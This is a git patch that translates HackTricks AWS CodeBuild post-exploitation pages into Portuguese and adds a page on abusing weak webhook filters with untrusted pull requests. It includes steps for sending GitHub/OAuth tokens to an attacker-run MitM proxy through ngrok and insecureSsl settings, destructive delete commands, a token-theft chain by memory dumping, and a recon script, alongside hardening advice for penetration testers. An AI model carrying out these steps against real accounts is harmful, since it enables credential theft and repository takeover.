From 3f1321fb061acb199e97ad22e6523c178fb9a00e Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 3 Feb 2026 12:50:46 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../aws-codebuild-post-exploitation/README.md | 46 ++-- .../aws-codebuild-token-leakage.md | 67 +++-- ...s-codebuild-untrusted-pr-webhook-bypass.md | 235 ++++++++++++++++++ 3 files changed, 291 insertions(+), 57 deletions(-) create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 63463f5f1..9621e5aed 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -1,10 +1,10 @@ -# AWS - CodeBuild Pós Exploração +# AWS - CodeBuild Pós-Exploração {{#include ../../../../banners/hacktricks-training.md}} ## CodeBuild -Para mais informações, consulte: +Para mais informações, confira: {{#ref}} ../../aws-services/aws-codebuild-enum.md @@ -12,8 +12,8 @@ Para mais informações, consulte: ### Verificar Segredos -Se credenciais foram configuradas no Codebuild para se conectar ao Github, Gitlab ou Bitbucket na forma de tokens pessoais, senhas ou acesso de token OAuth, essas **credenciais serão armazenadas como segredos no gerenciador de segredos**.\ -Portanto, se você tiver acesso para ler o gerenciador de segredos, poderá obter esses segredos e pivotar para a plataforma conectada. +Se credenciais foram configuradas no Codebuild para conectar ao Github, Gitlab ou Bitbucket na forma de personal tokens, senhas ou OAuth token access, essas **credenciais vão ser armazenadas como secrets no secret manager**.\ +Portanto, se você tem acesso de leitura ao secret manager, poderá obter esses segredos e pivotar para a plataforma conectada. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md @@ -21,26 +21,26 @@ Portanto, se você tiver acesso para ler o gerenciador de segredos, poderá obte ### Abusar do Acesso ao Repositório do CodeBuild -Para configurar o **CodeBuild**, ele precisará de **acesso ao repositório de código** que irá utilizar. Várias plataformas podem estar hospedando esse código: +Para configurar o **CodeBuild**, ele precisará de **acesso ao repositório de código** que vai usar. Várias plataformas podem hospedar esse código:
-O **projeto CodeBuild deve ter acesso** ao provedor de origem configurado, seja via **papel IAM** ou com um **token do github/bitbucket ou acesso OAuth**. +O **projeto CodeBuild deve ter acesso** ao provedor de origem configurado, seja via **IAM role** ou com um github/bitbucket **token or OAuth access**. -Um atacante com **permissões elevadas em um CodeBuild** poderia abusar desse acesso configurado para vazar o código do repositório configurado e outros onde as credenciais definidas têm acesso.\ -Para fazer isso, um atacante precisaria apenas **mudar a URL do repositório para cada repositório ao qual as credenciais configuradas têm acesso** (note que a web da aws listará todos eles para você): +Um atacante com **permissões elevadas sobre um CodeBuild** poderia abusar desse acesso configurado para leak o código do repositório configurado e de outros onde as credenciais configuradas tenham acesso.\ +Para fazer isso, o atacante precisa apenas **mudar a URL do repositório para cada repo que as credenciais de configuração têm acesso** (observe que a interface do aws listará todos eles para você):
-E **mudar os comandos do Buildspec para exfiltrar cada repositório**. +E **alterar os Buildspec commands para exfiltrate cada repo**. > [!WARNING] -> No entanto, essa **tarefa é repetitiva e tediosa** e se um token do github foi configurado com **permissões de escrita**, um atacante **não poderá (ab)usar essas permissões** pois não tem acesso ao token.\ -> Ou tem? Verifique a próxima seção +> Entretanto, essa **tarefa é repetitiva e tediosa** e se um github token foi configurado com **permissões de escrita**, um atacante **não conseguirá (ab)usar essas permissões** pois ele não tem acesso ao token.\ +> Ou será que tem? Confira a próxima seção -### Vazando Tokens de Acesso do AWS CodeBuild +### Leaking Access Tokens from AWS CodeBuild -Você pode vazar o acesso dado no CodeBuild para plataformas como Github. Verifique se algum acesso a plataformas externas foi concedido com: +Você pode leak access concedido no CodeBuild para plataformas como Github. Verifique se algum acesso a plataformas externas foi concedido com: ```bash aws codebuild list-source-credentials ``` @@ -48,29 +48,37 @@ aws codebuild list-source-credentials aws-codebuild-token-leakage.md {{#endref}} +### Execução de PR não confiável por misconfiguração do filtro do webhook + +Se os filtros de webhook forem fracos, atacantes externos podem fazer com que seus PRs sejam construídos em projetos CodeBuild privilegiados e então executar código arbitrário no CI. + +{{#ref}} +aws-codebuild-untrusted-pr-webhook-bypass.md +{{#endref}} + ### `codebuild:DeleteProject` -Um atacante poderia deletar um projeto inteiro do CodeBuild, causando perda da configuração do projeto e impactando aplicações que dependem do projeto. +Um atacante poderia excluir um projeto CodeBuild inteiro, causando perda da configuração do projeto e impactando aplicações que dependem dele. ```bash aws codebuild delete-project --name ``` -**Impacto Potencial**: Perda da configuração do projeto e interrupção do serviço para aplicações que utilizam o projeto excluído. +**Impacto Potencial**: Perda da configuração do projeto e interrupção do serviço para aplicações que usam o projeto excluído. ### `codebuild:TagResource` , `codebuild:UntagResource` -Um atacante poderia adicionar, modificar ou remover tags dos recursos do CodeBuild, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags. +Um atacante poderia adicionar, modificar ou remover tags de recursos do CodeBuild, prejudicando a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` -**Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags. +**Impacto Potencial**: Interrupção na alocação de custos, no rastreamento de recursos e em políticas de controle de acesso baseadas em tags. ### `codebuild:DeleteSourceCredentials` -Um atacante poderia deletar credenciais de origem para um repositório Git, impactando o funcionamento normal de aplicações que dependem do repositório. +Um atacante poderia excluir credenciais de origem de um repositório Git, afetando o funcionamento normal de aplicações que dependem desse repositório. ```sql aws codebuild delete-source-credentials --arn ``` -**Impacto Potencial**: Interrupção do funcionamento normal para aplicações que dependem do repositório afetado devido à remoção de credenciais de origem. +**Impacto Potencial**: Interrupção do funcionamento normal de aplicações que dependem do repositório afetado devido à remoção das credenciais de origem. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 2e24578a0..7f8eef938 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recuperar tokens configurados do Github/Bitbucket +## Recuperar Tokens Configurados do Github/Bitbucket Primeiro, verifique se há credenciais de origem configuradas que você poderia leak: ```bash @@ -10,20 +10,20 @@ aws codebuild list-source-credentials ``` ### Via Docker Image -Se você descobrir que a autenticação, por exemplo para o Github, está configurada na conta, você pode **exfiltrate** esse **access** (**GH token or OAuth token**) fazendo o Codebuild **use an specific docker image** para executar o build do projeto. +Se você descobrir que a autenticação, por exemplo para o Github, está configurada na conta, você pode **exfiltrate** esse **access** (**GH token or OAuth token**) fazendo o Codebuild **usar uma imagem Docker específica** para executar o build do projeto. -Para isso você pode **create a new Codebuild project** ou alterar o **environment** de um já existente para definir a **Docker image**. +Para isso você pode **criar um novo Codebuild project** ou alterar o **environment** de um já existente para definir a **Docker image**. -A Docker image que você pode usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma Docker image muito básica que irá setar as **env variables `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá interceptar a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confiar no SSL CERT indicado em **`SSL_CERT_FILE`**. +A Docker image que você pode usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker bem básica que irá definir as **env variables `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá interceptar a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confiar no SSL CERT indicado em **`SSL_CERT_FILE`**. 1. **Create & Upload your own Docker MitM image** -- Siga as instruções do repo para configurar o endereço IP do seu proxy, definir seu SSL cert e **build the docker image**. -- **DO NOT SET `http_proxy`** para não interceptar requisições ao metadata endpoint. -- Você pode usar **`ngrok`** como `ngrok tcp 4444` para setar o proxy para o seu host -- Uma vez que a Docker image esteja construída, **upload it to a public repo** (Dockerhub, ECR...) +- Siga as instruções do repo para configurar o IP do seu proxy e definir seu certificado SSL e **build the docker image**. +- **NÃO DEFINA `http_proxy`** para não interceptar requisições para o metadata endpoint. +- Você pode usar **`ngrok`** como `ngrok tcp 4444` para definir o proxy para o seu host +- Depois de construir a Docker image, **upload it to a public repo** (Dockerhub, ECR...) 2. **Set the environment** -- Crie um **novo projeto Codebuild** ou modifique o **environment** de um existente. -- Configure o projeto para usar a **Docker image gerada anteriormente** +- Crie um **novo Codebuild project** ou **modifique** o environment de um existente. +- Configure o projeto para usar a **imagem Docker gerada anteriormente**
@@ -34,7 +34,7 @@ A Docker image que você pode usar é [https://github.com/carlospolop/docker-mit mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> A versão do **mitmproxy usada foi 9.0.1**, foi relatado que com a versão 10 isso pode não funcionar. +> A **versão do mitmproxy usada foi 9.0.1**, foi relatado que com a versão 10 isso pode não funcionar. 4. **Execute o build & capture as credenciais** @@ -42,7 +42,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
-Isso também pode ser feito a partir do aws cli com algo como +Isso também pode ser feito usando o aws cli com algo como ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL -Os projetos do **Codebuild** têm uma configuração chamada **`insecureSsl`** que está oculta na interface web; você só pode alterá-la pela API.\ -Habilitar isso permite que o Codebuild conecte-se ao repositório **sem verificar o certificado** oferecido pela plataforma. +Projetos **Codebuild** têm uma configuração chamada **`insecureSsl`** que é oculta na interface web; você só pode alterá-la pela API.\ +Habilitar isso permite que o Codebuild se conecte ao repositório **sem verificar o certificado** oferecido pela plataforma. -- Primeiro, você precisa enumerar a configuração atual com algo como: +- Primeiro você precisa enumerar a configuração atual com algo como: ```bash aws codebuild batch-get-projects --name ``` -- Então, com as informações coletadas você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. Abaixo está um exemplo de minha atualização de um projeto, repare no **`insecureSsl=True`** ao final (esta é a única coisa que você precisa alterar na configuração coletada). -- Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para seu tcp ngrok assim: +- Em seguida, com as informações coletadas você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. O seguinte é um exemplo de atualização de um projeto, repare em **`insecureSsl=True`** ao final (esta é a única coisa que você precisa alterar na configuração obtida). +- Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para seu ngrok tcp, por exemplo: ```bash aws codebuild update-project --name \ --source '{ @@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Finalmente, clique em **Build the project**, as **credenciais** serão **enviadas em texto claro** (base64) para a porta do mitm: +- Finalmente, clique em **Build the project**, as **credentials** serão **enviadas em texto claro** (base64) para a porta mitm:
### ~~Via protocolo HTTP~~ -> [!TIP] > **Esta vulnerabilidade foi corrigida pela AWS em algum momento na semana de 20 de fev de 2023 (acho que na sexta-feira). Portanto um atacante não pode mais abusar dela :)** +> [!TIP] > **Esta vulnerabilidade foi corrigida pela AWS em algum momento na semana de 20 de fev de 2023 (acho que na sexta-feira). Então um atacante não consegue mais explorá-la :)** -Um atacante com **permissões elevadas em um CodeBuild poderia leak o token do Github/Bitbucket configurado ou, se as permissões foram configuradas via OAuth, o **token OAuth temporário usado para acessar o código**. +Um atacante com **permissões elevadas sobre um CodeBuild poderia leak o Github/Bitbucket token** configurado ou, se as permissões fossem configuradas via OAuth, o **token OAuth temporário usado para acessar o código**. - Um atacante poderia adicionar as variáveis de ambiente **http_proxy** e **https_proxy** ao projeto CodeBuild apontando para sua máquina (por exemplo `http://5.tcp.eu.ngrok.io:14972`). @@ -144,7 +144,7 @@ Um atacante com **permissões elevadas em um CodeBuild poderia leak o token do G
-- Em seguida, altere a URL do repositório github para usar HTTP em vez de HTTPS, por exemplo: `http://github.com/carlospolop-forks/TestActions` +- Depois, altere a URL do repositório github para usar HTTP em vez de HTTPS, por exemplo: `http://github.com/carlospolop-forks/TestActions` - Em seguida, execute o exemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porta indicada pelas variáveis de proxy (http_proxy e https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Em seguida, clique em **Build the project** ou inicie o build a partir da linha de comando: +- Em seguida, clique em **Build the project** ou inicie a build pela linha de comando: ```sh aws codebuild start-build --project-name ``` -- Finalmente, as **credenciais** serão **enviadas em texto claro** (base64) para a porta mitm: +- Por fim, as **credenciais** serão **enviadas em texto claro** (base64) para a porta mitm:
> [!WARNING] -> Agora um atacante poderá usar o token a partir de sua máquina, listar todos os privilégios que ele possui e (ab)usar de forma mais fácil do que usar o serviço CodeBuild diretamente. +> Agora um atacante poderá usar o token a partir de sua máquina, listar todos os privilégios que ele possui e (ab)usar mais facilmente do que utilizando o serviço CodeBuild diretamente. -## Filtro de webhook ACTOR_ID regex allowlist bypass (builds privilegiados acionados por PR) +## Execução de PR não confiável via misconfiguração do filtro de webhook -Webhooks do CodeBuild no GitHub mal configurados que usam regexes `ACTOR_ID` não ancoradas permitem que PRs *não confiáveis* iniciem builds privilegiados. Se a allowlist for algo como `123456|7890123` sem `^`/`$`, qualquer ID que contenha uma dessas substrings corresponde. Como os IDs de usuário do GitHub são sequenciais, um atacante pode competir para registrar um ID “eclipsante” (uma superstring de um ID confiável) e acionar o build. +Para a cadeia de bypass de webhook acionada por PR (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), consulte: -**Caminho do exploit** - -1. Encontre projetos públicos do CodeBuild que exponham filtros de webhook e extraia uma allowlist `ACTOR_ID` não ancorada. -2. Obtenha um ID de GitHub eclipsante: -- Amasotre o contador global de IDs criando/excluindo orgs do GitHub (org IDs compartilham o pool). -- Pré-posicione muitas criações de manifest de GitHub App e dispare as URLs de confirmação quando o contador estiver dentro de ~100 IDs do alvo para registrar em massa um bot ID contendo a substring confiável. -3. Abra um PR a partir da conta eclipsante; a regex corresponde à substring e o build privilegiado é executado. -4. Use build RCE (por exemplo, hooks de instalação de dependências) para despejar a memória do processo que manipula a credencial do GitHub e recuperar o token PAT/OAuth. -5. Com o escopo `repo` do token, convide sua conta como colaborador/admin e faça push/approve de commits maliciosos ou exfiltre segredos. - -## Referências -- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) +{{#ref}} +aws-codebuild-untrusted-pr-webhook-bypass.md +{{#endref}} {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md new file mode 100644 index 000000000..66aa50186 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md @@ -0,0 +1,235 @@ +# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style) + +{{#include ../../../../banners/hacktricks-training.md}} + +Este vetor de ataque aparece quando um **fluxo de trabalho de PR público** está ligado a um **projeto CodeBuild privilegiado** com controles de webhook fracos. + +Se um atacante externo conseguir fazer o CodeBuild executar o seu pull request, normalmente ele pode obter **arbitrary code execution inside the build** (build scripts, dependency hooks, test scripts, etc.), e então pivotar para secrets, IAM credentials, ou source-provider credentials. + +## Por que isto é perigoso + +CodeBuild webhook filters são avaliados com padrões regex (para filtros não-`EVENT`). No filtro `ACTOR_ACCOUNT_ID`, isso significa que um padrão fraco pode corresponder a mais usuários do que o pretendido. +Se PRs não confiáveis forem buildados em um projeto que tem permissões de role AWS privilegiadas ou credenciais do GitHub, isso pode se tornar um comprometimento completo da cadeia de suprimentos. + +Wiz mostrou uma cadeia prática onde: + +1. Uma allowlist de atores do webhook usava um **regex sem ancoração**. +2. Um atacante registrou um GitHub ID que correspondia como **superstring** de um ID confiável. +3. Um PR malicioso acionou o CodeBuild. +4. A execução do código no build foi usada para despejar memória e recuperar source-provider credentials/tokens. + +## Misconfigurações that allow external PR code execution + +A seguir estão erros de alto risco e como atacantes abusam de cada um: + +1. **`EVENT` filters allow untrusted triggers** +- Eventos comuns e arriscados: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`. +- Outros eventos que também podem se tornar perigosos se ligados a builds privilegiados: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`. +- Bad: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` em um projeto privilegiado. +- Better: use PR comment approval e minimize trigger events para projetos privilegiados. +- Abuse: atacante abre/atualiza PR ou faz push para uma branch que controla, e seu código é executado no CodeBuild. + +2. **`ACTOR_ACCOUNT_ID` regex is weak** +- Bad: padrões sem ancoração como `123456|7890123`. +- Better: ancorar para correspondência exata `^(123456|7890123)$`. +- Abuse: regex que faz over-match permite que GitHub IDs não autorizados passem pelas allowlists. + +3. **Other regex filters are weak or missing** +- `HEAD_REF` + - Bad: `refs/heads/.*` + - Better: `^refs/heads/main$` (ou uma lista explícita de branches confiáveis) +- `BASE_REF` + - Bad: `.*` + - Better: `^refs/heads/main$` +- `FILE_PATH` + - Bad: sem restrições de path + - Better: excluir arquivos arriscados como `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$` +- `COMMIT_MESSAGE` + - Bad: marcador de confiança com correspondência frouxa como `trusted` + - Better: não use mensagem de commit como boundary de confiança para execução de PR +- `REPOSITORY_NAME` / `ORGANIZATION_NAME` + - Bad: `.*` em webhooks de org/global + - Better: corresponder apenas a repo/org exatos +- `WORKFLOW_NAME` + - Bad: `.*` + - Better: corresponder ao nome exato do workflow (ou evitar isso como controle de confiança) +- Abuse: atacante cria ref/path/message/repo contexto para satisfazer regex permissivas e acionar builds. + +4. **`excludeMatchedPattern` is misused** +- Configurar essa flag incorretamente pode inverter a lógica pretendida. +- Bad: `FILE_PATH '^buildspec\\.yml$'` com `excludeMatchedPattern=false` quando a intenção era bloquear edições de buildspec. +- Better: mesmo padrão com `excludeMatchedPattern=true` para negar builds que mexem em `buildspec.yml`. +- Abuse: defensores acham que negam eventos/paths/atores arriscados, mas na verdade os permitem. + +5. **Multiple `filterGroups` create accidental bypasses** +- CodeBuild avalia grupos como OR (um grupo passando é suficiente). +- Bad: um grupo estrito + um grupo permissivo de fallback (ex.: apenas `EVENT=PULL_REQUEST_UPDATED`). +- Better: remova grupos de fallback que não apliquem restrições de actor/ref/path. +- Abuse: atacante só precisa satisfazer o grupo mais fraco. + +6. **Comment approval gate disabled or too permissive** +- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` é o menos seguro. +- Papéis de aprovadores excessivamente amplos reduzem o controle. +- Bad: `requiresCommentApproval=DISABLED`. +- Better: `ALL_PULL_REQUESTS` ou `FORK_PULL_REQUESTS` com papéis de aprovador mínimos. +- Abuse: PRs de forks/drive-by rodam automaticamente sem aprovação de mantenedor confiável. + +7. **No restrictive branch/path strategy for PR builds** +- Falta de defesa em profundidade com `HEAD_REF` + `BASE_REF` + `FILE_PATH`. +- Bad: somente `EVENT` + `ACTOR_ACCOUNT_ID`, sem controles de ref/path. +- Better: combine `ACTOR_ACCOUNT_ID` exato + `BASE_REF` + `HEAD_REF` + restrições de `FILE_PATH`. +- Abuse: atacante modifica inputs do build (buildspec/CI/dependencies) e obtém execução arbitrária de comandos. + +8. **Public visibility + status URL exposure** +- URLs de build/check públicos melhoram o reconhecimento e testes iterativos do atacante. +- Bad: `projectVisibility=PUBLIC_READ` com logs/config sensíveis em builds públicos. +- Better: mantenha projetos privados a menos que haja forte necessidade de negócio e sanitize logs/artifacts. +- Abuse: atacante descobre padrões/comportamento do projeto e afina payloads e tentativas de bypass. + +## Token leakage from memory + +O write-up da Wiz explica que source-provider credentials estão presentes no contexto de runtime do build e podem ser roubadas após o comprometimento do build (por exemplo, via memory dumping), permitindo takeover do repositório se os escopos forem amplos. + +A AWS introduziu hardening após a divulgação, mas a lição central permanece: **never execute untrusted PR code in privileged build contexts** e presuma que código controlado pelo atacante no build tentará credential theft. + +For additional credential theft techniques in CodeBuild, also check: + +{{#ref}} +aws-codebuild-token-leakage.md +{{#endref}} + +## Encontrando CodeBuild URLs em PRs do GitHub + +Se o CodeBuild reporta status de commit de volta para o GitHub, a URL do build do CodeBuild geralmente aparece em: + +1. **PR page** -> **Checks** tab (or the status line in Conversation/Commits). +2. **Commit page** -> status/checks section -> **Details** link. +3. **PR commits list** -> click the check context attached to a commit. + +Para projetos públicos, esse link pode expor metadata/configuração do build para usuários não autenticados. + +
+Script: detect CodeBuild URLs in a PR and test if they look public +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Usage: +# ./check_pr_codebuild_urls.sh +# +# Requirements: gh, jq, curl + +OWNER="${1:?owner}" +REPO="${2:?repo}" +PR="${3:?pr_number}" + +for bin in gh jq curl timeout; do +command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; } +done + +tmp_commits="$(mktemp)" +tmp_urls="$(mktemp)" +trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT + +gh_api() { +timeout 20s gh api "$@" 2>/dev/null || true +} + +# Get all commit SHAs in the PR (bounded call to avoid hangs) +gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits" +if [ ! -s "$tmp_commits" ]; then +echo "[!] No commits found (or API call timed out/failed)." >&2 +exit 1 +fi + +echo "[*] PR commits:" +cat "$tmp_commits" +echo + +echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..." + +while IFS= read -r sha; do +[ -z "$sha" ] && continue + +# Classic commit statuses (target_url) +gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \ +--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true + +# GitHub Checks API (details_url) +gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \ +--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true +done < "$tmp_commits" | sort -u > "$tmp_urls" + +grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true + +echo +echo "[*] Public-access heuristic:" +echo " - If URL redirects to signin.aws.amazon.com -> likely not public" +echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public" +echo + +cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)" +if [ -z "$cb_urls" ]; then +echo "[*] No CodeBuild URLs found in PR statuses/check-runs." +exit 0 +fi + +while IFS= read -r url; do +[ -z "$url" ] && continue +final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)" +code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)" + +if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then +verdict="NOT_PUBLIC_OR_AUTH_REQUIRED" +elif [ "$code" = "200" ]; then +verdict="POTENTIALLY_PUBLIC" +else +verdict="UNKNOWN_CHECK_MANUALLY" +fi + +printf '%s\t%s\t%s\n' "$verdict" "$code" "$url" +done <<< "$cb_urls" +``` +Testado e funcionando com: +```bash +bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1 +``` +
+ +## Lista rápida de verificação de auditoria +```bash +# Enumerate projects +aws codebuild list-projects + +# Inspect source/webhook configuration +aws codebuild batch-get-projects --names + +# Inspect global source credentials configured in account +aws codebuild list-source-credentials +``` +Revise cada projeto para: + +- `webhook.filterGroups` contendo eventos de PR. +- Padrões de `ACTOR_ACCOUNT_ID` que não são ancorados com `^...$`. +- `pullRequestBuildPolicy.requiresCommentApproval` igual a `DISABLED`. +- Restrições de branch/path ausentes. +- `serviceRole` de privilégio elevado. +- Escopo arriscado e reuso de credenciais de origem. + +## Orientações de hardening + +1. Exigir aprovação por comentário para builds de PR (`ALL_PULL_REQUESTS` ou `FORK_PULL_REQUESTS`). +2. Se estiver usando allowlists de actor, ancore as regexes e mantenha-as exatas. +3. Adicione restrições `FILE_PATH` para evitar edições não confiáveis em `buildspec.yml` e scripts de CI. +4. Separe builds de release confiáveis dos builds de PR não confiáveis em projetos/funções diferentes. +5. Use tokens de source-provider com granularidade fina e menor privilégio (prefira identidades dedicadas de baixo privilégio). +6. Audite continuamente os filtros de webhook e o uso de credenciais de origem. + +## References + +- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) +- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html) +- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html) +- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html) + +{{#include ../../../../banners/hacktricks-training.md}}